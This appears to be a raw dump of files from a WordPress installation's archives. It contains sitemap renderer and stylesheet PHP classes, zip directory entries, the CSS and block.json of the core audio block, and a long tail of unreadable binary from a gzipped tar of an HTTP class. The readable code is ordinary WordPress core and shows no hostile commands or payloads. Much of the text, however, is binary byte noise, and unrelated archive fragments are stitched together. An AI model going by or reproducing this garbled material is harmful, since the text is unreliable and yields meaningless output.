		$sitemap_url = home_url( '/wp-sitemap-index.xsl' );

		if ( ! $wp_rewrite->using_permalinks() ) {
			$sitemap_url = home_url( '/?sitemap-stylesheet=index' );
		}

		/**
		 * Filters the URL for the sitemap index stylesheet.
		 *
		 * If a falsey value is returned, no stylesheet will be used and
		 * the "raw" XML of the sitemap index will be displayed.
		 *
		 * @since 5.5.0
		 *
		 * @param string $sitemap_url Full URL for the sitemaps index XSL file.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_index_url', $sitemap_url );
	}

	/**
	 * Renders a sitemap index.
	 *
	 * @since 5.5.0
	 *
	 * @param array $sitemaps Array of sitemap URLs.
	 */
	public function render_index( $sitemaps ) {
		header( 'Content-Type: application/xml; charset=UTF-8' );

		$this->check_for_simple_xml_availability();

		$index_xml = $this->get_sitemap_index_xml( $sitemaps );

		if ( ! empty( $index_xml ) ) {
			// All output is escaped within get_sitemap_index_xml().
			echo $index_xml;
		}
	}

	/**
	 * Gets XML for a sitemap index.
	 *
	 * @since 5.5.0
	 *
	 * @param array $sitemaps Array of sitemap URLs.
	 * @return string|false A well-formed XML string for a sitemap index. False on error.
	 */
	public function get_sitemap_index_xml( $sitemaps ) {
		$sitemap_index = new SimpleXMLElement(
			sprintf(
				'%1$s%2$s%3$s',
				'<?xml version="1.0" encoding="UTF-8" ?>',
				$this->stylesheet_index,
				'<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" />'
			)
		);

		foreach ( $sitemaps as $entry ) {
			$sitemap = $sitemap_index->addChild( 'sitemap' );

			// Add each element as a child node to the <sitemap> entry.
			foreach ( $entry as $name => $value ) {
				if ( 'loc' === $name ) {
					$sitemap->addChild( $name, esc_url( $value ) );
				} elseif ( 'lastmod' === $name ) {
					$sitemap->addChild( $name, esc_xml( $value ) );
				} else {
					_doing_it_wrong(
						__METHOD__,
						sprintf(
							/* translators: %s: List of element names. */
							__( 'Fields other than %s are not currently supported for the sitemap index.' ),
							implode( ',', array( 'loc', 'lastmod' ) )
						),
						'5.5.0'
					);
				}
			}
		}

		return $sitemap_index->asXML();
	}

	/**
	 * Renders a sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param array $url_list Array of URLs for a sitemap.
	 */
	public function render_sitemap( $url_list ) {
		header( 'Content-Type: application/xml; charset=UTF-8' );

		$this->check_for_simple_xml_availability();

		$sitemap_xml = $this->get_sitemap_xml( $url_list );

		if ( ! empty( $sitemap_xml ) ) {
			// All output is escaped within get_sitemap_xml().
			echo $sitemap_xml;
		}
	}

	/**
	 * Gets XML for a sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param array $url_list Array of URLs for a sitemap.
	 * @return string|false A well-formed XML string for a sitemap index. False on error.
	 */
	public function get_sitemap_xml( $url_list ) {
		$urlset = new SimpleXMLElement(
			sprintf(
				'%1$s%2$s%3$s',
				'<?xml version="1.0" encoding="UTF-8" ?>',
				$this->stylesheet,
				'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" />'
			)
		);

		foreach ( $url_list as $url_item ) {
			$url = $urlset->addChild( 'url' );

			// Add each element as a child node to the <url> entry.
			foreach ( $url_item as $name => $value ) {
				if ( 'loc' === $name ) {
					$url->addChild( $name, esc_url( $value ) );
				} elseif ( in_array( $name, array( 'lastmod', 'changefreq', 'priority' ), true ) ) {
					$url->addChild( $name, esc_xml( $value ) );
				} else {
					_doing_it_wrong(
						__METHOD__,
						sprintf(
							/* translators: %s: List of element names. */
							__( 'Fields other than %s are not currently supported for sitemaps.' ),
							implode( ',', array( 'loc', 'lastmod', 'changefreq', 'priority' ) )
						),
						'5.5.0'
					);
				}
			}
		}

		return $urlset->asXML();
	}

	/**
	 * Checks for the availability of the SimpleXML extension and errors if missing.
	 *
	 * @since 5.5.0
	 */
	private function check_for_simple_xml_availability() {
		if ( ! class_exists( 'SimpleXMLElement' ) ) {
			add_filter(
				'wp_die_handler',
				static function () {
					return '_xml_wp_die_handler';
				}
			);

			wp_die(
				sprintf(
					/* translators: %s: SimpleXML */
					esc_xml( __( 'Could not generate XML sitemap due to missing %s extension' ) ),
					'SimpleXML'
				),
				esc_xml( __( 'WordPress &rsaquo; Error' ) ),
				array(
					'response' => 501, // "Not implemented".
				)
			);
		}
	}
}
PK�Ud[]��)6!6! class-wp-sitemaps-stylesheet.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Stylesheet class
 *
 * This class provides the XSL stylesheets to style all sitemaps.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Stylesheet provider class.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps_Stylesheet {
	/**
	 * Renders the XSL stylesheet depending on whether it's the sitemap index or not.
	 *
	 * @param string $type Stylesheet type. Either 'sitemap' or 'index'.
	 */
	public function render_stylesheet( $type ) {
		header( 'Content-Type: application/xml; charset=UTF-8' );

		if ( 'sitemap' === $type ) {
			// All content is escaped below.
			echo $this->get_sitemap_stylesheet();
		}

		if ( 'index' === $type ) {
			// All content is escaped below.
			echo $this->get_sitemap_index_stylesheet();
		}

		exit;
	}

	/**
	 * Returns the escaped XSL for all sitemaps, except index.
	 *
	 * @since 5.5.0
	 */
	public function get_sitemap_stylesheet() {
		$css         = $this->get_stylesheet_css();
		$title       = esc_xml( __( 'XML Sitemap' ) );
		$description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) );
		$learn_more  = sprintf(
			'<a href="%s">%s</a>',
			esc_url( __( 'https://www.sitemaps.org/' ) ),
			esc_xml( __( 'Learn more about XML sitemaps.' ) )
		);

		$text = sprintf(
			/* translators: %s: Number of URLs. */
			esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ),
			'<xsl:value-of select="count( sitemap:urlset/sitemap:url )" />'
		);

		$lang       = get_language_attributes( 'html' );
		$url        = esc_xml( __( 'URL' ) );
		$lastmod    = esc_xml( __( 'Last Modified' ) );
		$changefreq = esc_xml( __( 'Change Frequency' ) );
		$priority   = esc_xml( __( 'Priority' ) );

		$xsl_content = <<<XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
		version="1.0"
		xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9"
		exclude-result-prefixes="sitemap"
		>

	<xsl:output method="html" encoding="UTF-8" indent="yes" />

	<!--
	  Set variables for whether lastmod, changefreq or priority occur for any url in the sitemap.
	  We do this up front because it can be expensive in a large sitemap.
	  -->
	<xsl:variable name="has-lastmod"    select="count( /sitemap:urlset/sitemap:url/sitemap:lastmod )"    />
	<xsl:variable name="has-changefreq" select="count( /sitemap:urlset/sitemap:url/sitemap:changefreq )" />
	<xsl:variable name="has-priority"   select="count( /sitemap:urlset/sitemap:url/sitemap:priority )"   />

	<xsl:template match="/">
		<html {$lang}>
			<head>
				<title>{$title}</title>
				<style>
					{$css}
				</style>
			</head>
			<body>
				<div id="sitemap">
					<div id="sitemap__header">
						<h1>{$title}</h1>
						<p>{$description}</p>
						<p>{$learn_more}</p>
					</div>
					<div id="sitemap__content">
						<p class="text">{$text}</p>
						<table id="sitemap__table">
							<thead>
								<tr>
									<th class="loc">{$url}</th>
									<xsl:if test="\$has-lastmod">
										<th class="lastmod">{$lastmod}</th>
									</xsl:if>
									<xsl:if test="\$has-changefreq">
										<th class="changefreq">{$changefreq}</th>
									</xsl:if>
									<xsl:if test="\$has-priority">
										<th class="priority">{$priority}</th>
									</xsl:if>
								</tr>
							</thead>
							<tbody>
								<xsl:for-each select="sitemap:urlset/sitemap:url">
									<tr>
										<td class="loc"><a href="{sitemap:loc}"><xsl:value-of select="sitemap:loc" /></a></td>
										<xsl:if test="\$has-lastmod">
											<td class="lastmod"><xsl:value-of select="sitemap:lastmod" /></td>
										</xsl:if>
										<xsl:if test="\$has-changefreq">
											<td class="changefreq"><xsl:value-of select="sitemap:changefreq" /></td>
										</xsl:if>
										<xsl:if test="\$has-priority">
											<td class="priority"><xsl:value-of select="sitemap:priority" /></td>
										</xsl:if>
									</tr>
								</xsl:for-each>
							</tbody>
						</table>
					</div>
				</div>
			</body>
		</html>
	</xsl:template>
</xsl:stylesheet>

XSL;

		/**
		 * Filters the content of the sitemap stylesheet.
		 *
		 * @since 5.5.0
		 *
		 * @param string $xsl_content Full content for the XML stylesheet.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_content', $xsl_content );
	}

	/**
	 * Returns the escaped XSL for the index sitemaps.
	 *
	 * @since 5.5.0
	 */
	public function get_sitemap_index_stylesheet() {
		$css         = $this->get_stylesheet_css();
		$title       = esc_xml( __( 'XML Sitemap' ) );
		$description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) );
		$learn_more  = sprintf(
			'<a href="%s">%s</a>',
			esc_url( __( 'https://www.sitemaps.org/' ) ),
			esc_xml( __( 'Learn more about XML sitemaps.' ) )
		);

		$text = sprintf(
			/* translators: %s: Number of URLs. */
			esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ),
			'<xsl:value-of select="count( sitemap:sitemapindex/sitemap:sitemap )" />'
		);

		$lang    = get_language_attributes( 'html' );
		$url     = esc_xml( __( 'URL' ) );
		$lastmod = esc_xml( __( 'Last Modified' ) );

		$xsl_content = <<<XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
		version="1.0"
		xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9"
		exclude-result-prefixes="sitemap"
		>

	<xsl:output method="html" encoding="UTF-8" indent="yes" />

	<!--
	  Set variables for whether lastmod occurs for any sitemap in the index.
	  We do this up front because it can be expensive in a large sitemap.
	  -->
	<xsl:variable name="has-lastmod" select="count( /sitemap:sitemapindex/sitemap:sitemap/sitemap:lastmod )" />

	<xsl:template match="/">
		<html {$lang}>
			<head>
				<title>{$title}</title>
				<style>
					{$css}
				</style>
			</head>
			<body>
				<div id="sitemap">
					<div id="sitemap__header">
						<h1>{$title}</h1>
						<p>{$description}</p>
						<p>{$learn_more}</p>
					</div>
					<div id="sitemap__content">
						<p class="text">{$text}</p>
						<table id="sitemap__table">
							<thead>
								<tr>
									<th class="loc">{$url}</th>
									<xsl:if test="\$has-lastmod">
										<th class="lastmod">{$lastmod}</th>
									</xsl:if>
								</tr>
							</thead>
							<tbody>
								<xsl:for-each select="sitemap:sitemapindex/sitemap:sitemap">
									<tr>
										<td class="loc"><a href="{sitemap:loc}"><xsl:value-of select="sitemap:loc" /></a></td>
										<xsl:if test="\$has-lastmod">
											<td class="lastmod"><xsl:value-of select="sitemap:lastmod" /></td>
										</xsl:if>
									</tr>
								</xsl:for-each>
							</tbody>
						</table>
					</div>
				</div>
			</body>
		</html>
	</xsl:template>
</xsl:stylesheet>

XSL;

		/**
		 * Filters the content of the sitemap index stylesheet.
		 *
		 * @since 5.5.0
		 *
		 * @param string $xsl_content Full content for the XML stylesheet.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_index_content', $xsl_content );
	}

	/**
	 * Gets the CSS to be included in sitemap XSL stylesheets.
	 *
	 * @since 5.5.0
	 *
	 * @return string The CSS.
	 */
	public function get_stylesheet_css() {
		$text_align = is_rtl() ? 'right' : 'left';

		$css = <<<EOF

					body {
						font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
						color: #444;
					}

					#sitemap {
						max-width: 980px;
						margin: 0 auto;
					}

					#sitemap__table {
						width: 100%;
						border: solid 1px #ccc;
						border-collapse: collapse;
					}

			 		#sitemap__table tr td.loc {
						/*
						 * URLs should always be LTR.
						 * See https://core.trac.wordpress.org/ticket/16834
						 * and https://core.trac.wordpress.org/ticket/49949
						 */
						direction: ltr;
					}

					#sitemap__table tr th {
						text-align: {$text_align};
					}

					#sitemap__table tr td,
					#sitemap__table tr th {
						padding: 10px;
					}

					#sitemap__table tr:nth-child(odd) td {
						background-color: #eee;
					}

					a:hover {
						text-decoration: none;
					}

EOF;

		/**
		 * Filters the CSS only for the sitemap stylesheet.
		 *
		 * @since 5.5.0
		 *
		 * @param string $css CSS to be applied to default XSL file.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_css', $css );
	}
}
PK�Ud[����class-wp-sitemaps-index.phpnu�[���PK�Ud[aM�;%class-wp-sitemaps.phpnu�[���PK�Ud[�E���l!class-wp-sitemaps-registry.phpnu�[���PK�Ud[��m==H)class-wp-sitemaps-provider.phpnu�[���PK�Ud[�&%%�:providers/error_lognu�[���PK�Ud[1$9�YY%`providers/class-wp-sitemaps-users.phpnu�[���PK�Ud[-��_*�pproviders/class-wp-sitemaps-taxonomies.phpnu�[���PK�Ud[��rUU%7�providers/class-wp-sitemaps-posts.phpnu�[���PK�Ud[+@���class-wp-sitemaps-renderer.phpnu�[���PK�Ud[]��)6!6! N�class-wp-sitemaps-stylesheet.phpnu�[���PK

���14338/audio.zip000064400000012565151024420100007051 0ustar00PK}[d[�
��editor-rtl.min.cssnu�[���.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}PK}[d[����
theme-rtl.cssnu�[���.wp-block-audio :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio :where(figcaption){
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}PK}[d['wO��theme-rtl.min.cssnu�[���.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}PK}[d['wO��
theme.min.cssnu�[���.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}PK}[d[����	theme.cssnu�[���.wp-block-audio :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio :where(figcaption){
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}PK}[d[҅���style-rtl.min.cssnu�[���.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}PK}[d[�-�[��editor-rtl.cssnu�[���.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}PK}[d[҅���
style.min.cssnu�[���.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}PK}[d[�N_>��
editor.cssnu�[���.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}PK}[d[JA�//
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/audio",
	"title": "Audio",
	"category": "media",
	"description": "Embed a simple audio player.",
	"keywords": [ "music", "sound", "podcast", "recording" ],
	"textdomain": "default",
	"attributes": {
		"blob": {
			"type": "string",
			"role": "local"
		},
		"src": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "src",
			"role": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"id": {
			"type": "number",
			"role": "content"
		},
		"autoplay": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "autoplay"
		},
		"loop": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "loop"
		},
		"preload": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "preload"
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-audio-editor",
	"style": "wp-block-audio"
}
PK}[d[�W�4��
style-rtl.cssnu�[���.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}PK}[d[�W�4��	style.cssnu�[���.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}PK}[d[e�T��editor.min.cssnu�[���.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}PK}[d[�
��editor-rtl.min.cssnu�[���PK}[d[����
theme-rtl.cssnu�[���PK}[d['wO��theme-rtl.min.cssnu�[���PK}[d['wO��
theme.min.cssnu�[���PK}[d[����	�theme.cssnu�[���PK}[d[҅����style-rtl.min.cssnu�[���PK}[d[�-�[���editor-rtl.cssnu�[���PK}[d[҅���
style.min.cssnu�[���PK}[d[�N_>��
�editor.cssnu�[���PK}[d[JA�//
	block.jsonnu�[���PK}[d[�W�4��
�style-rtl.cssnu�[���PK}[d[�W�4��	vstyle.cssnu�[���PK}[d[e�T��beditor.min.cssnu�[���PK

�u14338/class-wp-http.php.php.tar.gz000064400000026157151024420100012437 0ustar00��=�[�H��+�+�]����gfB��:����f�9`aˠE���������O=`f���#�������ե�x�&��~��#j��`�#?�G��EAt9����$�G�<�n��xں���(����5
�4]�;WY6kήf(^kp=��*�����������������
�����ݺ�V�W��i�%��o�׿�Ï0gOZϞ=q�9���>��8���P����?ϼѵw�;��d|,���t~!�|��w6��5���֓'���G��	co쌃�e�m�I0q��Sg�O��םZ���=<�9+𿟟,�Í�O�<�/^��9H������˳����7���,Ǝ��@����4a�ݣ=��֒o��dԒo"'�^>y�Tyg'�/�s?�^�V���N�g��O�`���wg^vU/E�h��[��G��o��L]L�^��;��;�8q�^�]�j��/Jgq������z�̚bN�WA*�^;�8Jqp���;�<��P�Ko	����㙟O�\��Y�΅���؀�p�&Ȯ���G�o��c�n\�h;0p?A�+���I�B|߿�_Ґ�(rR�!�B���pf8�q0��	��%�x�o	1��/;)��N�a���F�4'8�,���'LC�l~��o������`^��/��O���=s�zG���I��k�Y_[{)[�w�{ݣ��q�7���b]���{���8���E��?����j��|�Mzq\�Ά��^��v���ȵ��:Ǖ���F�w�O��~w�v�ݣ7��;��;���F["[�hXwK��w�aesl�������Ê���j���p�u��ɠ��~��v߹'�E4�x�'�vܽ�^�Zl3�Sg�=�m����@��M��h?�ǦA�A�����$��}����*����*Y�l��?Yc��~�λ�^���;��~goH
4����kJ�n�ó�<�J��od;9�_�3���u�������0(�����UN�V��%sd�֤~���]|�}x�{��[o[�yٵ_v�a?7��_?в��v�h��C���sJ�v��w��I�b��鑂�w�氻W>5���m�[����������A��PkSFv��.��M�{�{[oF�~p���{��혭7�O�]n�3%1�6������d�����?w���y�ж�>z�!�
�tir�����_�a���I�-��w�ǽʵ����]w�K�S��ƺ1J�+!����֚އ���T�F�ZӛG��w�;G��>�������olM���~gњ�x^�U%�`��-L@�}�����E��:�O�1|�?0XZo��n�d!j�$r;oa�}z�;��ck{]�M�:�#hA��v��^�Be���t�w��8,]jۆ�D����r�cks�[�k��ZO���@�lb��+���V�\y������n�%��u�@vl=�]X�o�t���C������1�΢`�C�׊�g�mG��^�/�B[�d�]���eߋ,�y����&��,{�@�8�w@��>-��
�e��E:����@i�x(�
'��B
�4i�_S-��g��Y<��T�o)����K�)�	��|-ϓ�!�`N���b�;/I�[g�K.S4��9^�"�M�M�A��M#xq��1�������ϡ4���xlO���~ݍF�����ΰ�pjǽ��k��>�?�;��a��P���
����#K�'�&��A��`x�x�6c揮"0DC`�'��M����gNz��1��v��$ 5iߟx�0c"5s4�����W��`�i�9��X�m�^"��>�]���8���8�}n�"�r����h>��8�(+C��G@�d.�jA>#���̈.70ySџ�߀�Z�r�0����Z�V+�Z�YD@�����U��7I}��}��9�?�UЪ9M���܋0�~ם�����N�S�<Ώ�"�����0��<J�����㼿�q� }��r
��U�/��������1�����G9�B�Å8Fך�t)q���Wf��89�'�/�!�Gȇ�ڝ�T��C�6Lh�
��h��	?��~�����Dda��L=�+�y�/�0�`
(��o꩟<�O�u�(�����?��A*O� ��,:�
� 7���#�gt�]H�$�i��\��lbo�W�7�EauQ�W�f@�U�{4{H��,i�]�1eŵ<���1=RbT����tg�"�:��5�z�</Nt��;Ӹ�#x���ʏ�_�ń���ED
4�Ǟ™�Ef�f^�}0�`���!�nj���v����Vu�k��E>�N�b��0�j*.e�˦`��� ���Jų��å�T���N���l_�q8����"��h�``���lz<=0��be��u��ɚ!�
�B"���,�@�����dr���`�ij2Z&y�1��������(��1G���R&W��fN�h�,^�6;���yO��6H��$���0�j�ɘ��G)�Ƽ,���� s�bv��3���/n3���^�Y\���E�,�����$��-E��M4H��<2�<G��(��r�C��{e��Y.x�a�ݞ��vv���~@����DB޾�o٬�I\8���r���o/܅�]ѐ��-�Q���aHm��`�;�?�;���~�%����5K@�������2V�A����/9J`d��t�m��߃�Ң�.o�*�IEV�[�N�,}_���_{@�"@������J�Ă�P�h57�h&5�2l=Y��/�`�L��b�����!8��tu�_E���~7�j�l����NlBn�%�F��#���7q��y̚��x�vV����`�w�#���!���a���h@;��sC�5\�d�
g���x���axۍa���f�*�ϖx6���Z���l޺&��b�	�+_j8�
�le�#�8Q�B�	��zĮ��<.�6.����B��ڽ�n���ޓ����(�x��H/�%�2�U�ڜT�*�T�ݴh&M��8����=��./'��b���yE@�e�t^��'��:�/��������B�q�%~��k��2C7w��b���m6��j3'̤e��x���`B,����+��Gz^jHϠ1G5鷴6$����RܱXg�FB�Z��ݜ�@�Pё`���cÈS��Y]#��5���i5�d���YnE��Y�a遗b5��
F1�
��*�P�+Ƹ�ѕ?�ưǒT�-���ׅ����F�g����qL�ґ�1�@N��A
z��x*��s�
�|#"n���n�s�-�ryjm��2b�� �˄��]0����T��&��8��y���/�6u�׬0�,����]���R��y�爰p�c��W�:�S��!GXG	��N4N3LrE���V�.q�|�BCu�x����,N}�OS��\{�W,j��b=UR:� ����pX
�1�X=�}jJj1�~��V���3��K�^WGA2�Lj=��Xt��}/	o����	�\��
����1�sV5��K�Y%�a�&�
�J���Hn�:�e�ω��^�g��@<&
:?��&���s�崍n9�-(;�ne�V�<�?�`����_y���W拲�I���|M�W���(��!`_�B}��A��P�UZp�5���W�Z�<�OQ\#`�>��Zp�\��1�� 	�o�J+��W:��_��DmK��n�N��_B�p�Yx���ty�F���	�Kk�B\��v"̻���$
E�:ww�pZKa��%h�BŦ�N�ߨ����<]�l8Dd
�eqdž�~
P�գ!��
8?9�xDɛ��cEB��.�.Q�f�KI���H�s§�tF�e0�cs�2�R��H]u-/��i	��G�LS�"�+ %�@Q5�I=��;ڂ^Н87>��x��P=��
jʣ4��ѵ��T�\U�L��B���Dɭ-n�v8cy-U6�%Qv�:Z������n9o���3�@�M/�4��C
�bN��L��VE?��H`�H�}�V��6���2�phмT4y�b/H]�1�i�:�YD'E�GI��2�i�>�$�2�}�SD�����X[����VW���[�0�\���s!u�J�X7P^zs�ª#�iJ�	>���X���F�4H�᭥��b3�N��m��ٮ<~��#Z��0_.d�+�9�}fkX*���!,��b�s��hnB���&Қ�F�O�YQ�����|v�P^;�+45<z�OM���g��vk��l��������p�D�<ў<YG	�	p왦�.)r*8_}��l�*!/|��2�jJ)èb0�١�f
��a>�H�]!/͟����I;�&�U�o�y��kYi���J,���R�dmwU��^��VY�b	e�L'�*�w��2�[��Jy	�����ȋ
�)^�w�t S�Ky%H�)(R500/���w�N���'?!w%��rҹt&�M_��~h��(N��R��]�xHK�撗�`��Ss\���%����LU�Qh���+ܣ�g)�ڵf�Mɠ���ΰe{=�f6�rnC�����t
��t��L�z?1n�*�way��[N�SKLp6�>���:����K'���C�#9W���h튔���M�'ٳ$�`�h��$�R���i���Ϊ�v�|%v&�)eU�iM]=Z���ݭ{J��s��RTn>�j���c��j���xc��g �A3�Ŧ�1-�V�K�
��ŽӠ�G[�P�g('t�W1����(���>��nm4�藟��F��ۆQ�Ǥ��i�T���xb�잭���)fW�>>���q=�AqA�N�Q�\�ΠM/D��	7�ɧ�`����Y��܋��\R��1���4�J�N���Weq�|��Pl1B�s$w4{�	C~���
"^T2AUh+�h�\y�9Gu��~c����v�ȩ��\}�Ů2u���؎Hp��<m`�/���,��UX�xw];�H��	Ȝ��}u�0�K?{ǙnuS�P~�*N�q���1o�rY����]cSy�aLj+��Y����'Ow�;�N䃧���A��v/SZ�gNC���$�;*ӈ��?�
�P/o��Ge����~>���!�`�̖zҔD^�e�+u���~_���\Կ�nj��x��{��b:��Y�tJE�U�=�=�
ْ��įT+c3J��<,[���ӣVaihK�+W_){?����Β��ъ���7�c�'������l]ԝ�ҧ��ʭ}�y��C��P��TH^|�Jf���hg��%�)��2ou�-�:���舴[��;tP��i�6�L���@��L�u�q��
��-��KQdYk��ˀ'.晟W���s/+C������%��'fq@+՟b+�z&
��N��%��i:�:�[s���C�;uf�륆���i8�ȍh!�ūxj��	�ʲKg�Uܐ�U)�S0˼��'BQ���pg�scɇ-������;R{��Ey��(���&�X]{p�bsm�tb���Ǘ�����9�>�o���66�F&d��,k�BTg^�@Gx���ӑp���3�f r��?h���CfT�XF�z�h+�M-��E�S@�̅s�8|Ɛ�+,�`��+�"�@���HQ/�X`
��،��:^v�Z.���5�K,�o$�
�{^W��&8��|6ȷ��&_c���tʥ`=�1��*{�]�O�ŵ��g���&�7i�)��DC	A�cx\�E_g��I*z����ҁDzt
�� -
�L̩1���� �=����j�Ԥ�eMΐ~��0�6b�Go�F<�Q\��9���
�$Ο���p��7��k䬮d
>��]�a�+����J�=�|�KT�
�O�H�2d��#���-)�R�33��T7�/������Y�7�pW ���ē�#�\�pN���N&��>�:f0ǮRF���BtIkN�`��[�BmPL��X�a��z�e)o�*�Wⰼ���zz��O
��jb�h�IrV^��)\p19'Q��nv��=�ٙ���yOp�ͥ3X:p��#���7�xM�3Hٰ�M]M;�1�=�����ȫ'�H�5D�F��SE��8-�4R6�l]K�|=�Ű�a�Š;5�� rj؃���^��:�-��^g�	�ͮS�&9�U[�$O:�;>��j��%„��ݾA�E��CՊw7,��T�{J-�����OFc3$"k1'Q
�>��2�����GweP�܎��t��2�n%u��}HF�BCQ��XK<�X"�e�C早�Ѭ����a
k�S�L��T6�m����q6�j�ȧ*ʆ��a�qF2F��=�V\��1N�7���g����wo?>e[{��(��Ο��-1	>�I��ı`:;�R�f��`�6ȲK-`�����V;,�J��`,󯣂7O|�z6��n��%vZ��2ǣi�FA�g��:ӳi'Z���x�!螑�p�?�G�o��Hl�!}����/}�΁e���2FH��ELG)�b����4��8��|�q�/�a����#��ܚ'���!&5�<:��e�!��I°�<��V�#���AyG]ҠJJ� _�{K@g`o"l�"*�Z�Nf��0��_(�qAJ�HU�d��Cm��Y�旲��W�y���/1ޥ���2��7َ�~�K|���b�㴸��;�g�s叱��0��Q/��>�-�$�I�.�� oM�id�FJd���B�+rݫ����*=�"
v"��[Q�J��_�5�r5��`��o��(��g�eСF�Npa�[�h��?�8�@��7���zG�?�9ps�-H�0C�<K�"��-lC菅����q;��v�+IOe�j��Z��������>�0�3� ɞO��7��K���'9՘t쩮��>5
��c�� ML	��\2���]��4K�CO�I���@H�ͮ��TDz�,TRC��)�|�׵��'�����C���:gR�7��,���K��+z�X��e�愎� �8�Z����92	̂�C�ቒO�&�K�4I�S@���ˤL1�V�]\�*)�*�
ͬ�P�"�Zu�8]-�#�ŕ��|���|6W��}�%�����`�uqҍ�k�`�M���(>���O�=ŀ�~��oא�T��+)��F飈Ŧ�̣{Kz}�K�`9JR���D><���Q=��{�^j�(]`��p�m4��M��8����*�Ɏ��?|#���1a�sg�EssEd���d�Y���;�y�Q]���_Tp�I���5M?Ċ����3b���������;ؓ�N��^����@�N}sc�UC�
�
�
��8��j�]8�+���l47V�2BƐf���Tk�E��Yv�B%ԩ��r�@d
��I:eXA6��"�
+c�63��xk6s�Ԟ�D��A;���<��y� id
Z�:��ѷ�.�5�E(��O�������nā������g��E�5�Qbv�0/��y+��K�9phc&nq몳����8�cu�
��@�8$6�v�{��[�M����茞(N�B�Y�X�<�zS~���`H8�4�)\�:�T��+z�v��	���/��:�H��.������|gSR����y��
4J
�9�ܺ%9�|���e��2n"�k��n'��Tx��
?�y��ȶ��XӺ�.��|B�Փx��s��3��/�=Vc�L��+i@�g�L;9������hk0�Ց�v)�he'楧*��S%����摑=/����Z+��\�����l��N6����� �ޡg�.�:m�TR,�g@��KhQ�VLj��
:��a�����' �#b>�L�1��X~����|:��B.MU�>R֚8�CZ2���}qs*Հ�ҩ6yf�!�H	^G�C�fz�,�Xkꌥ���,`D�8�%���iɉ�=�r�3��B8�–��A8恰�Vw�YN�E�Yn;JJ���!]�T�S{6oX��+<�I%��LX0���p6���%��K�B���%�L�!Qɏ���ԗ� ,��𿦄c�/��t�7��}�@�Q.a;��+�PN6��O�V]V�|Y���`[��%�a��h��n�#]F��(��_+����˼ G��5�paQ��Q
